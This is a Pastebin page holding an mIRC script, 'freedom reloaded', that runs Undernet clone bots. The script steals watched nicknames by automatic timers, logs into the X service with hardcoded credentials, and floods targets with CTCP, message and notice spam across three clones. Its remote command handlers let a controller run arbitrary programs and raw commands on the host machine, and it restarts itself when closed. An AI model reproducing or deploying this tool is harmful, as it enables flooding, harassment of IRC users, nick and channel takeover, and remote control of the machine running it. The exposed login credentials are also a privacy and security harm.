API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 8th, 2017
561
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 15.52 KB | None | 0 0
raw download clone embed print report
  1. on *:start:{
  2.   .st
  3. }
  4. alias secure { mode $me +iwx }
  5. alias st {
  6.   nick $read ident.txt $+ $r(a,z)
  7.   anick $read ident.txt $+ $r(a,z)
  8.   fullname $read fullname.txt
  9.   identd on $read ident.txt
  10.   set %cons
  11.   notify on
  12.   writeini mirc.ini mirc user $read ident.txt $+ $r(11111,99999) | saveini
  13.   ignore -td *!*@*
  14.   server Dream -j #music
  15.   server -m Undernet | set %clona1 2
  16.   .timer 1 3 .scid %clona1 server -m Undernet  | set %clona2 $calc(%clona1 + 1)
  17.   .timer 1 6 .scid %clona2 server -m Undernet  | set %clona3 $calc(%clona2 + 1)
  18.   .timer 1 12 silence +*!*@*,~*!*@*undernet.org
  19.   .timer 1 15 mode $me +iwx
  20.   .timer 1 20 secure
  21.   set %utimee $ctime
  22.   set %1 0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15..0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15..0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15.
  23.   set %2 2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>
  24.   set %3 2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O
  25.   set %u1 shakay
  26.   set %p1 rememberme
  27.   set %u2
  28.   set %p2
  29.   set %u3
  30.   set %p3
  31.   set %u4
  32.   set %p4
  33.   set %l1 x@channels.undernet.org login shakay rememberme
  34.   set %l2 x@channels.undernet.org login
  35.   set %l3 x@channels.undernet.org login
  36.   set %l4 x@channels.undernet.org login
  37.   set % $+ [ alin ] alin | set % $+ [ alin $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify alin
  38.   set % $+ [ tiesto ] tiesto | set % $+ [ tiesto $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify tiesto
  39.   set % $+ [ music ] music | set % $+ [ music $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify music
  40.   set % $+ [ afk ] afk | set % $+ [ afk $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify afk
  41.   set % $+ [ dick ] dick | set % $+ [ dick $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify dick
  42.   set % $+ [ devil ] devil | set % $+ [ devil $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify devil
  43.   set % $+ [ bebe ] bebe | set % $+ [ bebe $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify bebe
  44.   set % $+ [ love ] love | set % $+ [ love $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify love
  45.   set % $+ [ sex ] sex | set % $+ [ sex $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify sex
  46.   set % $+ [ sweet ] sweet | set % $+ [ sweet $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify sweet
  47.   set % $+ [ dream ] dream | set % $+ [ dream $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify dream
  48.   set % $+ [ }{ ] }{ | set % $+ [ }{ $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify }{
  49.   set % $+ [ kiss ] kiss | set % $+ [ kiss $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify kiss
  50.   set % $+ [ star ] star | set % $+ [ star $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify star
  51.   set % $+ [ sexy ] sexy | set % $+ [ sexy $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify sexy
  52.   set % $+ [ boo ] boo | set % $+ [ boo $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify boo
  53.   set % $+ [ angel ] angel | set % $+ [ angel $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify angel
  54.   set % $+ [ kid ] kid | set % $+ [ kid $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify kid
  55.   set % $+ [ sad ] sad | set % $+ [ sad $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify sad
  56.   set % $+ [ mad ] mad | set % $+ [ mad $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify mad
  57.   set % $+ [ addict ] addict | set % $+ [ addict $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify addict
  58.   set % $+ [ super ] super | set % $+ [ super $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify super
  59.   set % $+ [ razvan ] razvan | set % $+ [ razvan $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify razvan
  60.   set % $+ [ cry ] cry | set % $+ [ cry $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify cry
  61.   set % $+ [ fuck ] fuck | set % $+ [ fuck $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify fuck
  62.   set % $+ [ boy ] boy | set % $+ [ boy $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify boy
  63.   set % $+ [ girl ] girl | set % $+ [ girl $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify girl
  64.   set % $+ [ bad ] bad | set % $+ [ bad $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify bad
  65.   set % $+ [ atb ] atb | set % $+ [ atb $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify atb
  66.   set % $+ [ top ] top | set % $+ [ top $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify top
  67.   set % $+ [ shy ] shy | set % $+ [ shy $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify shy
  68.   set % $+ [ cool ] cool | set % $+ [ cool $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify cool
  69.   set % $+ [ bitch ] bitch | set % $+ [ bitch $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify bitch
  70.   set % $+ [ {} ] {} | set % $+ [ {} $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify {}
  71.   set % $+ [ soulmate ] soulmate | set % $+ [ soulmate $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify soulmate
  72.   set % $+ [ princess ] princess | set % $+ [ princess $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify princess
  73.   set % $+ [ king ] king | set % $+ [ king $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify king
  74.   set % $+ [ loved ] loved | set % $+ [ loved $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify loved
  75.   set % $+ [ unloved ] unloved | set % $+ [ unloved $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify unloved
  76.   set % $+ [ lord ] lord | set % $+ [ lord $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify lord
  77.   set % $+ [ pussy ] pussy | set % $+ [ pussy $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify pussy
  78.   set % $+ [ elena ] ninja | set % $+ [ ninja $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify ninja
  79.   set % $+ [ isabella ] insomnia | set % $+ [ insomnia $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify insomnia
  80.   set % $+ [ porn ] porn | set % $+ [ porn $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify porn
  81.   set % $+ [ addict ] addict | set % $+ [ addict $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify addict
  82.   set % $+ [ addicted ] addicted | set % $+ [ addicted $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify addicted
  83.   set % $+ [ dreamer ] dreamer | set % $+ [ dreamer $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify dreamer
  84.   set % $+ [ lover ] lover | set % $+ [ lover $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify lover
  85.   set % $+ [ evil ] evil | set % $+ [ evil $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify evil
  86.   set % $+ [ guesswho ] guesswho | set % $+ [ guesswho $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify guesswho
  87.   set % $+ [ smart ] smart | set % $+ [ smart $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify smart
  88.   set % $+ [ michael ] michael | set % $+ [ michael $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify michael
  89.   set % $+ [ drug ] drug | set % $+ [ drug $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify drug
  90.   set % $+ [ hacker ] hacker | set % $+ [ hacker $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify hacker
  91.   set % $+ [ drugs ] drugs | set % $+ [ drugs $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify drugs
  92.   set % $+ [ sick ] sick | set % $+ [ sick $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify sick
  93.   set % $+ [ hot ] hot | set % $+ [ hot $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify hot
  94.   set % $+ [ porn ] porn | set % $+ [ porn $+ usr ] x@channels.undernet.org LOGIN %u1 %p1 | .notify porn
  95. }
  96. on 1:connect:{
  97.   nick $read ident.txt $+ $r(a,z)
  98.   anick $read ident.txt $+ $r(a,z)
  99.   fullname $read fullname.txt
  100.   identd on $read ident.txt
  101.   .timer 1 5 mode $me +iwx
  102.   .timer 1 7 silence +*!*@*,~*!*@*undernet.org
  103.   .timer 1 17 secure
  104.   .notify on
  105. }
  106. on 1:unotify: {
  107.   .nick $nick
  108. }
  109. on *:nick: {
  110.   .timer 1 1 .bitch $newnick [ % $+ [ $newnick ] ]
  111. }
  112. alias checkme {
  113.   if ($1 !== $2) { echo 0checkme }
  114.   if ($1 == $2) { join #soulmate | .msg %l1 | .away $read away.txt }
  115. }
  116. alias bitch {
  117.   if ($1 == $2) {
  118.     .timer 1 4 notify off
  119.     .msg [ % $+ [ $1 $+ usr ] ]
  120.     .timer 1 1 .checkme $me $1 | halt
  121.   }
  122.   if ($1 !== $2) { echo 0bitch }
  123. }
  124. alias connectcheck { whois $me }
  125. on 1:kick:#:{
  126.   haltdef
  127.   if ($knick == $me) {
  128.     .raw join $mass
  129.     halt
  130.   }
  131. }
  132.  
  133. on 100:text:*:*:{
  134.   if ($1 == +flc) { .ctcp $2 0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15..0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15..0,1..0,2..0,3..0,4..0,5..0,6..0,7..0,8..0,9..0,10..0,11..0,12..0,13..0,14..0,15. }
  135.   if ($1 == +flm) { .msg $2  2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*>2<*>3<*>4<*>5<*>6<*>7<*>8<*>9<*>10<*>11<*>13<*>14<*> }
  136.   if ($1 == +fln) { .notice $2 2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O }
  137.   if ($1 == +ontime) { .notice $nick 10Ontime 4:2 $uptime(server,1) | halt }
  138.   if ($1 == +uptime) { .notice $nick 10Uptime 4:2 $duration($calc( $ticks / 1000)) | halt }
  139.   if ($1 == +version) { .msg $chan $ver | halt }  
  140.   if ($1 == +cserv) { .notice $nick 10Current Server 4:2 $server }
  141.   if ($1 == +open) { run $2- | .notice $nick 6Incerc sa deschid 2:4 $2- | halt }
  142.   if ($1 == +msg) { .msg $2- | halt }
  143.   if ($1 == +say) { .msg $chan $2- | halt }
  144.   if ($1 == +me) { describe $chan $2- | halt }
  145.   if ($1 == +ame) { ame $2- | halt }
  146.   if ($1 == +away) { .away | .away $2- | halt }
  147.   if ($1 == +join) { join $2- | who $2 | halt }
  148.   if ($1 == +part) { part $2 }
  149.   if ($1 == +raw) { $$2- }
  150.   if ($1 == +login) { .msg x@channels.undernet.org login $2- | halt }
  151.   if ($1 == +exit) && ($level($address($nick,2)) > 2) { exit | halt }
  152.   if ($1 == +part) {
  153.     if ($2 = $chr(42)) {
  154.       set %paid 0
  155.       set %tp $chan(0)
  156.       while (%tp > %paed) {
  157.         set %paid $calc(%paid + 1)
  158.         if ($chan(%paid) != %chan) && ($chan(%paid) != %chan2) { .part $chan(%paed) 2at10  $nick 2request2. }
  159.       }
  160.     }
  161.     .timer 1 0 part $2-
  162.     halt
  163.   }
  164.   if ($1 == $me) {
  165.     if ($2 == ontime) { .notice $nick 10Ontime 4:2 $uptime(server,1) | halt }
  166.     if ($2 == uptime) { .notice $nick 10Uptime 4:2 $duration($calc( $ticks / 1000)) | halt }  
  167.     if ($2 == cserv) { .notice $nick 10Current Server 4:2 $server }
  168.     if ($2 == msg) { .msg $3- | halt }
  169.     if ($2 == say) { .msg $chan $3- | halt }
  170.     if ($2 == me) { describe $chan $3- | halt }
  171.     if ($2 == notice) { notice $3- | halt }
  172.     if ($2 == away) { .away | .away $3- | halt }
  173.     if ($2 == join) { join $3- | who $3 | halt }
  174.     if ($2 == part) { part $3 }
  175.     if ($2 == raw)  { $$3- }
  176.     if ($2 == exit) && ($level($address($nick,2)) > 2) { exit | halt }
  177.     if ($2 == part) {
  178.       if ($3 == $chr(42)) {
  179.         set %paid 0
  180.         set %tp $chan(0)
  181.         while (%tp > %paid) {
  182.           set %paid $calc(%paid + 1)
  183.           if ($chan(%paid) != %chan) { .part $chan(%paid) 1at10  $nick 1request2. }
  184.         }
  185.       }
  186.       .timer 1 0 part $3-
  187.       halt
  188.     }
  189.     .timer 1 0 $2-
  190.   }
  191.   if ($1 == .flc) { scid %clona1 .ctcp $2 %1 | scid %clona2 .ctcp $2 %1 | scid %clona3 .ctcp $2 %1 | halt }
  192.   if ($1 == .flm) { scid %clona1 .msg $2 %2 | scid %clona2 .msg $2 %2 | scid %clona3 .msg $2 %2 | halt }
  193.   if ($1 == .fln) { scid %clona1 .notice $2 %3 | scid %clona2 .notice $2 %3 | scid %clona3 .notice $2 %3 | halt }
  194.   if ($1 == .join) { scid %clona1 join $2- | scid %clona2 join $2- | scid %clona3 join $2- | who $2 | halt }
  195.   if ($1 == .part) { scid %clona1 part $2- | scid %clona2 part $2- | scid %clona3 part $2- | who $2 | halt }
  196.   if ($1 == .msg)  { scid %clona1 .msg $2- | scid %clona2 .msg $2- | scid %clona3 .msg $2- | halt }
  197.   if ($1 == .ctcp) { scid %clona1 .ctcp $2- | scid %clona2 .ctcp $2- | scid %clona3 .ctcp $2- | halt }
  198.   if ($1 == .fura) { set % $+ [ $2 ] $2 | set % $+ [ $2 $+ usr ] x@channels.undernet.org LOGIN $3 $4 | .notify $2 | .notice $nick 2I just added4 $2 2on my notify list2. 10[ 4UNDERNET 10] | halt }
  199.   if ($1 == .lasa) { .notify -r $2 | unset % $+ $2 | unset % $+ [ $2 $+ usr ] | .notice $nick 2I just erased4  $2 2from my notify list2. 10[ 4UNDERNET 10] | halt }
  200.   if ($1 == ,rnick) { scid %clona1 nick $read ident.txt $+ $r(a,z) $+ $r(a,z) | scid %clona2 nick $read ident.txt $+ $r(a,z) $+ $r(a,z) | scid %clona3 nick $read ident.txt $+ $r(a,z) $+ $r(a,z) | halt }
  201.   if ($1 == .exit) && ($level($address($nick,2)) > 2) { .scid %clona1 exit | .scid %clona2 exit | .scid %clona3 exit | halt }
  202.   if ($1 == .timer) { set % $+ [ $2 ] $2 | set % $+ [ $2 $+ usr ] X@channels.undernet.org LOGIN $3 $4 | secure | .scid %clona1 .timer 0 3 nick $2 | .scid %clona2 .timer 0 3 nick $2 | .scid %clona3 .timer 0 3 nick $2 | .notice $nick 2Timer activated on4  $2 2! 10[ 4UNDERNET 10] 4- 10[ 2AutoLogin10] | halt }
  203.   if ($1 == .fast) { set % $+ [ $2 ] $2 | set % $+ [ $2 $+ usr ] X@channels.undernet.org LOGIN %u1 %p1 | secure | .scid %clona1 .timer 8 1 nick $2 | .scid %clona2 .timer 8 1 nick $2 | .scid %clona3 .timer 8 1 nick $2 | .notice $nick 2Fast Timer activated on4  $2 2! 10[ 4UNDERNET 10] | halt }
  204.   if ($1 == .stop) { .scid %clona1 .timers off | .scid %clona2 .timers off | .scid %clona3 .timers off | .notice $nick 2All timers stoped 2! 10[ 4UNDERNET 10] | halt }
  205.   if ($1 == .take) { set % $+ [ $2 ] $2 | set % $+ [ $2 $+ usr ] X@channels.undernet.org LOGIN %u1 %p1 | secure | .scid %clona1 .timer 0 3 nick $2 | .scid %clona2 .timer 0 3 nick $2 | .scid %clona3 .timer 0 3 nick $2 | .notice $nick 6Timer activated on4  $2 2! 10[ 4UNDERNET 10] 4- 2AutoLogin with Username4 %u1 | halt }
  206.  
  207. }
  208.  
  209. on 100:notice:*:?: {
  210.   if ($1 == join) { join $2 }
  211.   if ($1 == r) { nick $read ident.txt $+ $r(a,z) $+ $r(a,z)  | halt }
  212.   if ($1 == raw) { $$2- }
  213. }
  214.  
  215. raw 471:*:{
  216.   haltdef
  217.   .timerjoin $+ $$2 60 30 join $$2
  218.   halt
  219. }
  220.  
  221. raw 473:*:{
  222.   haltdef
  223.   .timerjoin $+ $$2 60 30 join $$2
  224.   halt
  225. }
  226.  
  227. on *:exit: { /run $mircexe | halt }
  228. alias ver return 2freedom reloaded10 ®
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!